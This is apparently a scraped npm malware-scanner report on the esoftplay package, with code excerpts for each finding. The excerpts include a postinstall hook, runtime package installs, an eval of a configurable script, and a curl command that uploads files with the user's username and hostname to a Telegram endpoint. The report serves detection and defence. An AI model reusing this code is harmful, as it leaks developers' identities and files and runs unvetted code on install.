esoftplay@0.0.269-beta8d1f009: Suspicious npm security report | LPM Firewall

Loading npm security reports…

esoftplay@0.0.269-beta8d1f009: Suspicious npm security report | LPM Firewall

Source & flagged code

18 flagged · loading source

package.jsonView file

•scripts.postinstall = bun ./bin/build.js install

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = bun ./bin/build.js install

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

config.jsonView file

25patternName = google_api_key severity = high line = 25

High

High Secret

Package contains a high-severity secret pattern.

config.jsonView on unpkg · L25

25patternName = google_api_key severity = high line = 25

High

Secret Pattern

Google API key in config.json

config.jsonView on unpkg · L25

bin/packager.jsView file

1#!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/packager.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = bin/packager.js matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/packager.jsView on unpkg

bin/cli.jsView file

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

bin/cli.jsView on unpkg · L2

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

bin/cli.jsView on unpkg · L2

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

bin/build.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = esoftplay@0.0.269-beta3c640a9 matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-beta3c640a9 similarity = 0.917 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

bin/build.jsView on unpkg

401if (installDevLibs.length > 0) { L402: cmd += "&& bun add " + installDevLibs.join(" ") + " --dev " L403: } ... L407: console.log((JSON.stringify({ cmd }, undefined, 2))) L408: execSync(cmd + "|| true") L409: execSync("cd ../../ && bun ./node_modules/esoftplay/bin/router.js || true")

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/build.jsView on unpkg · L401

bin/test.shView file

•path = bin/test.sh kind = build_helper sizeBytes = 536 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/test.shView on unpkg

modules/lib/utils.tsView file

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = modules/lib/utils.ts matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

modules/lib/utils.tsView on unpkg

Source & flagged code

18 flagged

package.jsonView file

•scripts.postinstall = bun ./bin/build.js install

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = bun ./bin/build.js install

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

config.jsonView file

Lines 5-39json

5 "domain": "esoftplay.com", // naked domain to website

6 "api": "api", // optional: subdomain to access web API

7 "data": "data", // optional: subdomain to access web content / article

8 "uri": "/", // relatif path to main website

9 "home": { // define the frontpage for module/task

10 "member": "content/member", // when user has been logged in

11 "public": "content" // when user not login yet

12 },

13 "errorReport": { // add telegram ids to listenReport Error

14 "telegramIds": [

15 "111111111"

16 ]

17 },

18 "group_id":"1,2", // string separated comma

19 "isDebug": 1, // optional: display console on esp.log('any message'), don't use it for automatic detect the environment (production / development)

20 "salt": "CHANGE_INTO_YOUR_OWN_SALT", // SALT form config.php in your website

21 "notification": 1, // optional: to determine is this application have notification or not

22 "exludeModules": [],

23 "excludePackages": [], // optional: to delete module when listed

24 "firebase": { // https://console.firebase.google.com - download google-services.json

25 "apiKey": "FIREBASE_Web_API_Key", // Eg. AIzaSyAvVyNeXI3RTo7Tl5LCBSZ-mu92VpbPBK8Y

High

High Secret

Package contains a high-severity secret pattern.

config.jsonView on unpkg · L25

26 "authDomain": "FIREBASE_authDomain", // Eg. project-6495177974885932998.firebaseapp.com

27 "databaseURL": "FIREBASE_Database_URL", // Eg. https://project-6495177974885932998.firebaseio.com/

28 "storageBucket": "FIREBASE_Storage_URL" // Eg. test://project-6495177974885932998.appspot.com/

29 },

30 "experienceId": "@esp/appslug",

31 "iosClientId": "Ios Client id untuk keperluan google login",

32 "facebookAppId": "APP ID dari Aplikasi yang didaftarkan di Facebook Developer",

33 "theme": [], // untuk custom theme jika diperlukan,silahkan lihat module LibTheme untuk cara peggunaannya

34 "fonts": {

35 "fontName": "fontName.ttf or .otf", // taruh file font di assets/fonts/ jika ingin custom fonts. bisa lebih dari 1

36 "fontName2": "fontName2.ttf or .otf"

37 }

38 }

39}

25patternName = google_api_key severity = high line = 25

High

Secret Pattern

Google API key in config.json

config.jsonView on unpkg · L25

bin/packager.jsView file

Lines 1-21javascript

1#!/usr/bin/env node

2const { spawn } = require('child_process');

3const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/packager.jsView on unpkg · L1

bin/cli.jsView file

Lines 1-22javascript

1#!/usr/bin/env node

2const fs = require('fs');

3const exec = require('child_process').execSync;

4// const fetch = require("node-fetch")

5const

bin/build.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = esoftplay@0.0.269-beta3c640a9 matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-beta3c640a9 similarity = 0.917 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

bin/build.jsView on unpkg

401if (installDevLibs.length > 0) { L402: cmd += "&& bun add " + installDevLibs.join(" ") + " --dev " L403: } ... L407: console.log((JSON.stringify({ cmd }, undefined, 2))) L408: execSync(cmd + "|| true") L409: execSync("cd ../../ && bun ./node_modules/esoftplay/bin/router.js || true")

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/build.jsView on unpkg · L401

bin/test.shView file

•path = bin/test.sh kind = build_helper sizeBytes = 536 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/test.shView on unpkg

modules/lib/utils.tsView file

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-betad168f01 matchedPath = modules/lib/utils.ts matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-betad168f01 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

modules/lib/utils.tsView on unpkg

Lines 913-953javascript

913 var d = new Date();

914 d = new Date(d.getTime() - 3000000);

915 var date_format_str = d.getFullYear().toString() + "-" + ((d.getMonth() + 1).toString().length == 2 ? (d.getMonth() + 1).toString() : "0" + (d.getMonth() + 1).toString()) + "-" + (d.getDate().toString().length == 2 ? d.getDate().toString() : "0" + d.getDate().toString());

916 let stringBuilder = "#" + ajson.expo.slug + "\n" + cjson.config.domain + "\n" + os.userInfo().username + '@' + os.hostname()

917 stringBuilder += "\nid: " + (last_id + 1)

918 let esplibs = Object.keys(pack.dependencies).filter((key) => key.includes("esoftplay"))

919 esplibs.forEach((key) => {

920 stringBuilder += ("\n" + key + ": " + pack.dependencies[key])

921 })

922 stringBuilder += "\n\nversionName: " + (ajson.expo.ios.buildNumber || ajson.expo.android.versionCode) + '-' + (last_id + 1) + ""

923 const { exec } = require('child_process');

924 exec("publisher=$(npx expo whoami &); echo $publisher;", (error, stdout, stderr) => {

925 if (error) {

926 console.error(`exec error: ${error}`);

927 return;

928 }

929 let accountName = stdout.trim();

930 stringBuilder += "\npublisher: @" + accountName + "\n"

931 stringBuilder += (notes != '' ? ("\n\n- " + notes) : '')

932 tm(stringBuilder)

933 if (cjson.config.hasOwnProperty('post_publish_script')) {

934 eval(cjson.config.post_publish_script)

935 }

High

Eval

Package source references dynamic code evaluation.

bin/cli.jsView on unpkg · L933

936 if (notes.startsWith('*') && ajson.config.publish_id) {

937 const config = readToJSON(confjson).config;

938 const ajson = readToJSON(appjson);

939 const url = config.publish_uri + ajson.config.publish_id

940 // const fetch = require('node-fetch')

941 console.log("\n\nPROCESSING FORCE UPDATE")

942 fetch(url).then((res) => JSON.stringify(res.json(), undefined, 2)).then(consoleSucces)

943 }

944 });

945 }

946 }

947}

948

949function doctor() {

950 let output = {}

951 if (fs.existsSync(packjson)) {

952 let pack = readToJSON(packjson)

953 output.expo = pack.dependencies.expo